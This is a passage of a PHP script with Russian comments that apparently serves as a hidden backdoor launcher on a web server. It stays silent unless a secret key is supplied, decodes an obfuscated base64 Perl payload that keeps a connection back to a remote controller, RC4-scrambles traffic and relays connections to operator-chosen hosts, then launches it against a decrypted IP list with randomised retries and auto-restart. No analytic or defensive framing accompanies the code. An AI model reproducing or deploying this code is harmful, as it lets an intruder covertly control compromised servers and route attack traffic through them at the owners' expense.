if ($attempts < MAX_RETRIES) {
usleep(rand(200000, 500000)); // 0.2-0.5 сек
}
}
if (!$launched) {
$stats['failed']++;
// Пробуем следующий метод для этого IP
$method_index++;
if ($method_index < 3) { // 3 разных подхода
$remaining_with_retry = array_merge(array($ip), $remaining);
recursive_launch($remaining_with_retry, $perl_code, $stats, $method_index);
} else {
// Все методы испробованы - идем дальше
recursive_launch($remaining, $perl_code, $stats, 0);
}
return;
}
}
// ================= ОСНОВНОЙ КОД =================
// Проверка секретного ключа
if (!isset($_GET['secret']) || $_GET['secret'] !== SECRET) {
// Тихий выход - ничего не выводим
exit;
}
// Отключаем всё
@ignore_user_abort(true);
set_time_limit(300); // 5 минут
// Начальная большая пауза (чтобы не перегрузить сервер)
usleep(INITIAL_SLEEP);
// Декодируем Perl
$perl_code = base64_decode('IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2UgRmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzE5Mi4xNjguMS4xJzsKbXkgJHBvcnQgPSA0NDM7CgokU0lHe1BJUEV9ID0gJ0lHTk9SRSc7CiRTSUd7SFVQfSA9ICdJR05PUkUnOwokU0lHe0NITER9ID0gJ0lHTk9SRSc7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgoJIG15ICRwb2NrZW1vbjEgPSAwOwoKCSBteSAkcG9ja2Vtb24yID0gMDsKCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgoJIG15ICRwb2NrZW1vbjQgPSAwOwoKCSBteSAkcG9ja2Vtb243ID0gMDsKCgkgbXkgJHBvY2tlbW9uOCA9IDA7CgoJIG15ICRyY3ggPSAkc3o7CgoJIG15ICRyc2kgPSAwOwoKCSBteSAkcmJ4ID0gMDsKCgkgbXkgJGdzID0gMDsKCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgoJIGRvIHsKCgkJIHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSA9ICh2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkgXiB2ZWMoJCRwYXNzdywgJHJieCwgOCkpOwoKCQkgJHJzaSsrOwoKCQkgJHJieCsrOwoKCQkgJHJjeC0tOwoKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoKCQkJICRyYnggPSAwOwoJCX0KCgl9IHdoaWxlKCRyY3ggPiAwKTsKCgoJIHdoaWxlKDEpIHsKCgkJIGlmICgkZ3MgPT0gMCkgewoKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCgkJIGlmICgkZ3MgIT0gMCkgewoKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgoJCX0KCgkJICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBhc3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgoJCQkgJGdzID0gMTsKCgkJCSBuZXh0OwoJCX0KCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0gMDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24zID0gMDsKCgkJIHdoaWxlKDEpIHsKCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsKCgkJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkgPSAkcG9ja2Vtb244OwoKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoKCQkJIHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24zLCA4KSA9IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KSBeIHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24zLCA4KTsKCgkJCSAkcG9ja2Vtb24zKys7CgoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJIGxhc3Q7CgkJCSB9CgoJCX0KCgkJIGxhc3Q7Cgl9CgoJICRyc2kgPSAwOwoKCSAkcmN4ID0gJHN6OwoKCSAkcmJ4ID0gMDsKCgkgZG8gewoKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgoJCSAkcnNpKys7CgoJCSAkcmJ4Kys7CgoJCSAkcmN4LS07CgoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgoJCQkgJHJieCA9IDA7CgkJfQoKCX0gd2hpbGUoJHJjeCA+IDApOwoKfQoKc3ViIHN5bnNlbmQgewoKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCgkgbXkgJGJ1ZmZlciA9IHNoaWZ0KEBfKTsKCgkgbXkgJGxlbmd0aAk9IHNoaWZ0KEBfKTsKCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoKCSAjID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgoJIHN5c3dyaXRlKCRjU29ja2V0LCAkYnVmZmVyLCAkbGVuZ3RoLCAkb2Zmc2V0KTsKCgkgIyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgkZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgoJbXkgJG51bSA9IHNoaWZ0KEBfKTsKCglteSAkc1NvY2tldCA9IHNoaWZ0KEBfKTsKCglteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJbXkgJHJlc3BvbmNlID0gcGFjaygnQycsICRudW0pLiJceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoKCW15ICRkb21haW4gPSAnJzsKCglteSAkcG9ydCA9IDA7CgoJbXkgJF9yZXQgPSAwOwoKCW15ICRkYXRhID0gJyc7CgoJbXkgJGJ1ZmZlciA9ICcnOwoKCW15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCglteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwoKCXNldHNvY2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgoJc2V0c29ja29wdCgkY1NvY2tldCwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCA2NTUzNik7CgoJc2V0c29ja29wdCgkY1NvY2tldCwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgoJZmNudGwoJGNTb2NrZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoKCWZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBPX05PTkJMT0NLKTsKCglpZiAodmVjKCRidWZmMCwgNywgOCkgPT0gMykgewoKCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwgdmVjKCRidWZmMCwgOCwgOCkpOwoKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwgOSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgoJCXN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmYwLCA5ICsgdmVjKCRidWZmMCwgOCwgOCkgKyAxLCAxKTsKCgkJJHBvcnQgPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsKCX0KCgllbHNpZiAodmVjKCRidWZmMCwgNywgOCkgPT0gMSkgewoKCQkkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmYwLCA4ICsgMCwgOCksIHZlYygkYnVmZjAsIDggKyAxLCA4KSwgdmVjKCRidWZmMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMywgOCkpOwoKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwgMTIgKyAwLCAxKTsKCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgoJCSRwb3J0ID0gIHZlYygkc3RyX3dlYywgMCwgMTYpOwoKCX0KCgllbHNlIHsKCgkJZ290byBjbG9zZV87Cgl9CgoJIGV2YWwgewoKCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGluZXRfYXRvbigkZG9tYWluKSk7CgoJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoKCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoKCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxMCkpIHsgZ290byBjbG9zZV87IH0KCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCgkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoKCQkgZmNudGwoJGNTb2NrZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoKCQkgJF9yZXQgPSAxOwoKCSB9OwoKCSBjbG9zZV86CgoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDMsIDEwKTsKCgkgc3luc2VuZCgkc1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgoJIGlmICgkX3JldCA9PSAxKSB7CgoJCSB3aGlsZSAoMSkgewoKCQkJIHZlYyhteSAkcmluID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxlc3MgKHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDEpKSB7IG5leHQ7IH0KCgkJCSAkZGF0YSA9IHN5c3JlYWQoJGNTb2NrZXQsICRidWZmZXIxLCA2NTUzMCwgMyk7CgoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJG51bTsKCgkJCSB2ZWMoJHN0cl93ZWMsIDAsIDE2KSA9ICRkYXRhOwoKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoKCQkJIHN1YnN0cigkYnVmZmVyMSwgMiwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDAsIDEpOwoKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwoKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsKCgkJCSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyMSwgMyArICRkYXRhLCAwKTsKCQl9Cgl9CgoJIGNsb3NlKCRjU29ja2V0KTsKCgkgdmVjKCRyZXNwb25jZSwgMCwgOCkgPSAkbnVtOwoKCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCgkgc3luc2VuZCgkc1NvY2tldCwgJHJlc3BvbmNlLCAzLCAwKTsKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoKCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHJlbWFpbmluZyA9IDA7CgoJIG15ICRyZW1haW5pbmc0ID0gMDsKCgkgbXkgQHNvY2tldGFycjsKCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoKCSBteSAkYnVmZmVyMCA9ICJceDAwIiB4IDY1NTM2OwoKCSBteSAkaXNFeGl0ID0gMDsKCgkgbXkgJGVjeCA9IDA7CgoJIG15ICRlYXggPSAwOwoKCSBteSAkZGF0YSA9ICcnOwoKCSBteSAkX3JldCA9IDA7CgoJIG15ICRlYnggPSAwOwoKCSBteSAkZWR4ID0gMDsKCgkgbXkgJHN0cl93ZWMgPSAiXHgwMFx4MDAiOwoKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7CgoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgoJIHdoaWxlKDEpIHsKCgkJIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CgoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgoJCQkgdW5sZXNzKHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDYwKSkgewoKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJceDAwXHgwMFx4MDAiKTsKCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsKCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoKCQkJCSBzeW5zZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpLCAwKTsKCgkJCQkgbmV4dDsKCQkJfQoKCQl9CgoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoKCQkJCQkgJGlzRXhpdCA9IDE7CgoJCQkJCSBsYXN0OwoKCQkJCX0KCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgZGVmaW5lZCgkc29ja2V0YXJyWyRlYnhdKSkgewoKCQkJCQkgc2h1dGRvd24oJHNvY2tldGFyclskZWJ4XSwgMCk7CgoJCQkJfQoKCQkJfQoKCQkJZWxzZSB7CgoJCQkJICRlY3ggPSAkZWR4OwoKCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7CgoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwgJHJlbWFpbmluZyArIDQpOwoKCQkJCSB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCQkgJHJlbWFpbmluZyArPSAkZGF0YTsKCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoKCQkJCQkJIG15ICRwaWQgPSBmb3JrKCk7CgoJCQkJCQkgaWYgKCFkZWZpbmVkICRwaWQpIHsKCgkJCQkJCQkgZGllICJDYW5ub3QgZm9yayBhIGNoaWxkOiAkISI7CgkJCQkJCSB9CgoJCQkJCQkgZWxzaWYgKCRwaWQgPT0gMCkgewoKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCgkJCQkJCQkgZXhpdCAwOwoJCQkJCQkgfQoJCQkJCX0KCgkJCQkJIGVsc2UgewoKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCgkJCQkJfQoKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgoJCQl9CgoJCQkgJHJlbWFpbmluZzQgPSAwOwoKCQl9CgoJCWVsc2UgewoKCQkJICRlYXggPSA0OwoKCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7CgoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7CgoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgeyBpZiAoZGVmaW5lZCgkc29ja2V0YXJyWyRpXSkpIHsgc2h1dGRvd24oJHNvY2tldGFyclskaV0sIDApOyB9IH0KCgkgc2xlZXAgMTA7CgoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCgkgc2xlZXAgMTgwOwp9Cg==');
// Декодируем IP
$ips = array();
foreach ($IPS_ENCRYPTED as $encrypted) {
$ip = decrypt_ip($encrypted);
if ($ip) {
$ips[] = $ip;
}
}
// СЛУЧАЙНЫЙ ПОРЯДОК КАЖДЫЙ РАЗ
// Используем микросекунды для seed
srand((int)(microtime(true) * 1000000) % 1000000);
shuffle($ips);
// Дополнительное перемешивание для максимальной случайности
$count = count($ips);
for ($i = 0; $i < $count; $i++) {
$j = rand(0, $count - 1);
$temp = $ips[$i];
$ips[$i] = $ips[$j];
$ips[$j] = $temp;
}
// Статистика
$stats = array(
'started' => 0,
'skipped' => 0,
'failed' => 0,
'total' => $count
);
// Запускаем рекурсивно
recursive_launch($ips, $perl_code, $stats);
// ВЫВОД РЕЗУЛЬТАТА
$result = array(
'status' => 'complete',
'stats' => $stats,
'time' => time(),
'order' => 'random_' . (rand(1000, 9999))
);
echo json_encode($result);
// ================= АВТО-ПОВТОР =================
// После завершения можно автоматически запустить себя снова
// с другими IP или через некоторое время
// Пауза перед возможным повторным запуском
usleep(rand(2000000, 5000000)); // 2-5 секунд
// Опционально: автоматический рестарт для неудачных
if ($stats['failed'] > 0 && $stats['failed'] < $count) {
// Создаем массив только неудачных IP
$failed_ips = array();
foreach ($ips as $ip) {
if (!is_already_running($ip)) {
$failed_ips[] = $ip;
}
}
// Если есть неудачные - пробуем еще раз
if (!empty($failed_ips)) {
shuffle($failed_ips);
$retry_stats = array('started' => 0, 'skipped' => 0, 'failed' => 0);
foreach ($failed_ips as $ip) {
for ($attempt = 0; $attempt < MAX_RETRIES; $attempt++) {
if (launch_process($ip, $perl_code)) {
$retry_stats['started']++;
break;
}
usleep(rand(MIN_SLEEP, MAX_SLEEP));
}
if ($attempt >= MAX_RETRIES) {
$retry_stats['failed']++;
}
usleep(rand(MIN_SLEEP, MAX_SLEEP));
}
// Дополнительный вывод в лог
@error_log("ULTIMATE Auto-retry: " . json_encode($retry_stats));
}
}
// Завершаем работу
exit;
?>